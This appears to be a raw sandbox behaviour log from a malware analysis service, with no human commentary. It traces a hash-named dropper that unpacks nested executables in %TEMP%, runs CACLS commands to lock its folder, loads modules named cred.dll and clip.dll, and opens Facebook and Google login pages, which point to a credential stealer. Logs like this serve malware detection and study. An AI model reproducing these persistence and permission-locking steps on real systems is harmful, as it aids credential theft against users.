000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005296) "Vd6Yw65.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005312) "vQ1qt36.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000000000000000000000000000000000000000000000000000000000000b2f4b177b2f4b177fec392770000fc00000000000000000000000000e0000000e00000001e0000001e0000001768b17768cf0f0000000000435cb177a6dc92770000000074020b0000000b00010000000000fc0050010b000000000064ef2400e000fc0090ef2400000000000000fc000000fc00000000000000fc00b0ef24009cef2400e8ef24003b1ab277e8ef2400531ab2772300002368cf0f00000000000000fc00d0ae1100000000001e00000080000000000000004ec392770000300000c0fc00 (UID: 00000000-00005452) "3Hf64Pr.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005500) "4na449fr.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005428) "AppLaunch.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005496) "AppLaunch.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000780156000000000015000000003200005001560029000000080e5c000000000029000000b4f42e001400000040f62e0095e1ad7713630700feffffff000000000200000258495b0036000036010000008aa24c770000000080000000c8f52e003c32000e10dd5b0001000000080e5c00020000000c000000805b5b00805b5b007b5b5b00000000005c7b5c00000056000000000134f52e00b4445c6b54fb2e0095e1ad7733630700feffffff435cb1775059b17794000000a00000007a5b5b00785b5b0094000000d8f62e00fdfe4c777cf62e0080f62e001000000001000000 (UID: 00000000-00005496) "AppLaunch.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005496)2e:T1d70,"vQ1qt36.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000e10000000000000068cf0f00e2cf0f006600000068cf0f00420000000300000000000000f0000000ff010000b0f02400c0d1f07568cf0f00e100000004f1240000000000e8f02400d4f024005617fc0068cf0f00e100000004f12400e8f0240068cf0f0058991100e2000000d3d87776 (UID: 00000000-00005452) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100006d006500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000016 (UID: 00000000-00005496) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100003ced2e008a878875f8715a00eced2e00980a0201980a0201000000002c308875b2f4b177679c9877d4ed2e0000002272000022723ced2e0064ed2e00f0000000f00022720000000040ed2e0000000000d4ee2e000000000001000000a4ed2e0040f5b177000000000000000090ed2e00 (UID: 00000000-00005496) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100b1a8f4d807b29c85773437945c00000000010000000000000001000000ccf4d807000000002812180208f5d807d0e2cc06d8f4d8078f9c85773437945c02000000000000001800000001000000dcf4d8072823716b00005600000000000c00000020422e02e8f4d8072f99945c0c000000 (UID: 00000000-00005496) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310007a386566b9065cf060000000030f0c6079823566b9065cf0678f0c607e722556b9065cf0620000000000000003c37556b2812180220624502281218020200000000000000180000000065cf067cf0c6072823716b00005600000000000c0000002062450288f0c6072f99945c0c000000 (UID: 00000000-00005496) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310077408ecf06e80acd0600000000408ecf06100000000000000048ec2e0050dcdc75408ecf0610000000bcfc65004c364a071000000074ec2e00a6ec7e6e02000000000000001800000028c77e6e78ec2e002823716b00005600000000000c00000028c77e6e84ec2e002f99945c0c000000 (UID: 00000000-00005496) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100000100000094ed2e006a6f4f6500000000bc6f4f659ce99db610e92e0000000000c0f32e0015dec7771cc17ac1feffffff7f67cf77e2d894772824876d02000000000000001800000030a5945c54ed2e002823716b00005600000000000c00000030a5945c60ed2e002f99945c0c000000 (UID: 00000000-00005496) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031006b4867cf0600000000c8f3d1079823566b4867cf0614f4d107e722556b4867cf0620000000000000003c37556b28121802202247022812180220224702020000000000000018000000d5a5a38018f4d1072823716b00005600000000000c0000002022470224f4d1072f99945c0c000000 (UID: 00000000-00005496) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310077408ecf06e80acd0600000000408ecf0610000000000000005cec2e0050dcdc75408ecf0610000000bcfc6500d45b4a071000000088ec2e00a6ec7e6e02000000000000001800000028c77e6e8cec2e002823716b00005600000000000c00000028c77e6e98ec2e002f99945c0c000000 (UID: 00000000-00005496) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100000100000084ed2e006a6f4f6500000000bc6f4f65ace99db600e92e0000000000c0f32e0015dec7771cc17ac1feffffff7f67cf77e2d894772824876d02000000000000001800000030a5945c44ed2e002823716b00005600000000000c00000030a5945c50ed2e002f99945c0c000000 (UID: 00000000-00005496) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031006b186acf060000000098f230089823566b186acf06e4f23008e722556b186acf0620000000000000003c37556b28121802204247022812180220424702020000000000000018000000d5a5a380e8f230082823716b00005600000000000c00000020424702f4f230082f99945c0c000000 (UID: 00000000-00005496) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310077408ecf06e80acd0600000000408ecf06100000000000000058ec2e0050dcdc75408ecf0610000000bcfc6500d45b4a071000000084ec2e00a6ec7e6e02000000000000001800000028c77e6e88ec2e002823716b00005600000000000c00000028c77e6e94ec2e002f99945c0c000000 (UID: 00000000-00005496) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031006b7065d2060000000058ee32089823566b7065d206a4ee3208e722556b7065d20620000000000000003c37556b28121802206247022812180220624702020000000000000018000000d5a5a380a8ee32082823716b00005600000000000c00000020624702b4ee32082f99945c0c000000 (UID: 00000000-00005496) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310077408ecf06e80acd0600000000408ecf0610000000000000005cec2e0050dcdc75408ecf0610000000cc45cf067c8f4a071000000088ec2e00a6ec7e6e02000000000000001800000028c77e6e8cec2e002823716b00005600000000000c00000028c77e6e98ec2e002f99945c0c000000 (UID: 00000000-00005496) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031006bc867d2060000000098ee3e089823566bc867d206e4ee3e08e722556bc867d20620000000000000003c37556b2812180220a247022812180220a24702020000000000000018000000d5a5a380e8ee3e082823716b00005600000000000c00000020a24702f4ee3e082f99945c0c000000 (UID: 00000000-00005496) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310077408ecf06e80acd0600000000408ecf0610000000000000005cec2e0050dcdc75408ecf0610000000bcfc65002c7f4b071000000088ec2e00a6ec7e6e02000000000000001800000028c77e6e8cec2e002823716b00005600000000000c00000028c77e6e98ec2e002f99945c0c000000 (UID: 00000000-00005496) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031006b5869d2060000000078f139089823566b5869d206c4f13908e722556b5869d20620000000000000003c37556b2812180220e247022812180220e24702020000000000000018000000d5a5a380c8f139082823716b00005600000000000c00000020e24702d4f139082f99945c0c000000 (UID: 00000000-00005496) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310077408ecf06e80acd0600000000408ecf06100000000000000058ec2e0050dcdc75408ecf0610000000bcfc6500bc834b071000000084ec2e00a6ec7e6e02000000000000001800000028c77e6e88ec2e002823716b00005600000000000c00000028c77e6e94ec2e002f99945c0c000000 (UID: 00000000-00005496) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031006b8069d20600000000b8ebd0079823566b8069d20604ecd007e722556b8069d20620000000000000003c37556b28121802202248022812180220224802020000000000000018000000d5a5a38008ecd0072823716b00005600000000000c0000002022480214ecd0072f99945c0c000000 (UID: 00000000-00005496) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310077408ecf06e80acd0600000000408ecf0610000000000000005cec2e0050dcdc75408ecf06100000002c50d206a4844b071000000088ec2e00a6ec7e6e02000000000000001800000028c77e6e8cec2e002823716b00005600000000000c00000028c77e6e98ec2e002f99945c0c000000 (UID: 00000000-00005496)2f:T76b,"922d837e2362b26f6f5959eb3dee8ac0.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "922d837e2362b26f6f5959eb3dee8ac0.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "OT6Dd58.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "OT6Dd58.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "pt9KK68.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "pt9KK68.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "Vd6Yw65.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "Vd6Yw65.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "vQ1qt36.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "3Hf64Pr.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "3Hf64Pr.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "4na449fr.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "4na449fr.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "5Ll6yV5.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "5Ll6yV5.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED")30:T45a,Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp, 00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp")31:T43e,Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API "GetMonitorInfo" (Indicator: "GetMonitorInfo"; File: "00005496.00001578.6604090.00402000.wprm") Found reference to API "GetNativeSystemInfo" (Indicator: "GetNativeSystemInfo"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp")32:T56b,Found reference to API "GetVersion" (Indicator: "GetVersion"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API "GetVersionInfo" (Indicator: "GetVersion"; File: "00005496.00001578.6604090.00402000.wprm") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API "GetVersion" (Indicator: "GetVersion"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp")33:T740,"explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "ENABLEDHCP"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTRATIONENABLED"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTERADAPTERNAME"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DOMAIN"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DHCPDOMAIN"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "")34:T792,"AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" at 00000000-00005496-0000010C-1078617 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll" at 00000000-00005496-0000010C-7283632 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll" at 00000000-00005496-0000010C-7303573 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll" at 00000000-00005496-0000010C-11595423 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll" at 00000000-00005496-0000010C-11604078 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00005496-0000010C-14308072 "explothe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\fefffe8cea\explothe.exe" at 00000000-00005604-0000010C-3450107 "explothe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\006700e5a2ab05\cred.dll" at 00000000-00005604-0000010C-15778641 "explothe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\006700e5a2ab05\cred.dll" at 00000000-00005604-0000010C-15784028 "explothe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\006700e5a2ab05\clip.dll" at 00000000-00005604-0000010C-17624529 "explothe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\006700e5a2ab05\clip.dll" at 00000000-00005604-0000010C-1763013535:T6ff,"AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\7-ZIP") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\7-ZIP"; Key: "DISPLAYNAME") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\7-ZIP"; Key: "DISPLAYVERSION") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK"; Key: "DISPLAYNAME") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK"; Key: "DISPLAYVERSION") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE AIR") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE AIR"; Key: "DISPLAYNAME") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE AIR"; Key: "DISPLAYVERSION") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER ACTIVEX") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER ACTIVEX"; Key: "DISPLAYNAME") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER ACTIVEX"; Key: "DISPLAYVERSION") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE SHOCKWAVE PLAYER") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE SHOCKWAVE PLAYER"; Key: "DISPLAYNAME") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE SHOCKWAVE PLAYER"; Key: "DISPLAYVERSION")36:T661,"922d837e2362b26f6f5959eb3dee8ac0.exe" called "CreateProcessA" with parameter "%TEMP%\IXP000.TMP\OT6Dd58.exe" - (UID: 00000000-00004892) "OT6Dd58.exe" called "CreateProcessA" with parameter "%TEMP%\IXP001.TMP\pt9KK68.exe" - (UID: 00000000-00005132) "OT6Dd58.exe" called "CreateProcessA" with parameter "%TEMP%\IXP001.TMP\5Ll6yV5.exe" - (UID: 00000000-00005132) "pt9KK68.exe" called "CreateProcessA" with parameter "%TEMP%\IXP002.TMP\Vd6Yw65.exe" - (UID: 00000000-00005296) "pt9KK68.exe" called "CreateProcessA" with parameter "%TEMP%\IXP002.TMP\4na449fr.exe" - (UID: 00000000-00005296) "Vd6Yw65.exe" called "CreateProcessA" with parameter "%TEMP%\IXP003.TMP\vQ1qt36.exe" - (UID: 00000000-00005312) "Vd6Yw65.exe" called "CreateProcessA" with parameter "%TEMP%\IXP003.TMP\3Hf64Pr.exe" - (UID: 00000000-00005312) "vQ1qt36.exe" called "CreateProcessA" with parameter "%TEMP%\IXP004.TMP\1FX99DP0.exe" - (UID: 00000000-00005452) "cmd.exe" called "CreateProcessW" with parameter "CACLS "explothe.exe" /P "%OSUSER%:R" /E" - (UID: 00000000-00005616) "cmd.exe" called "CreateProcessW" with parameter "CACLS "..\fefffe8cea" /P "%OSUSER%:N"" - (UID: 00000000-00005616) "cmd.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\Internet Explorer\iexplore.exe" https://www.facebook.com/login" - (UID: 00000000-00005336) "cmd.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\Internet Explorer\iexplore.exe" https://www.youtube.com/" - (UID: 00000000-00005336) "cmd.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\Internet Explorer\iexplore.exe" https://accounts.google.com/" - (UID: 00000000-00005336)37:T558c,"922d837e2362b26f6f5959eb3dee8ac0.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00004892) "OT6Dd58.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005132) "OT6Dd58.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005132) "OT6Dd58.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005132) "OT6Dd58.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005132) "OT6Dd58.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00005132) "pt9KK68.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005296) "pt9KK68.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005296) "pt9KK68.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005296) "pt9KK68.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005296) "pt9KK68.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00005296) "Vd6Yw65.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005312) "Vd6Yw65.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005312) "Vd6Yw65.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005312) "Vd6Yw65.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005312) "Vd6Yw65.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00005312) "vQ1qt36.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00005452) "vQ1qt36.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005452) "vQ1qt36.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00005452) "vQ1qt36.exe" called "LoadLibrary" with a parameter dwmapi.dll (UID: 00000000-00005452) "vQ1qt36.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00005452) "vQ1qt36.exe" called "LoadLibrary" with a parameter UxTheme.dll (UID: 00000000-00005452) "vQ1qt36.exe" called "LoadLibrary" with a parameter imageres.dll (UID: 00000000-00005452) "vQ1qt36.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\ole32.dll (UID: 00000000-00005452) "vQ1qt36.exe" called "LoadLibrary" with a parameter 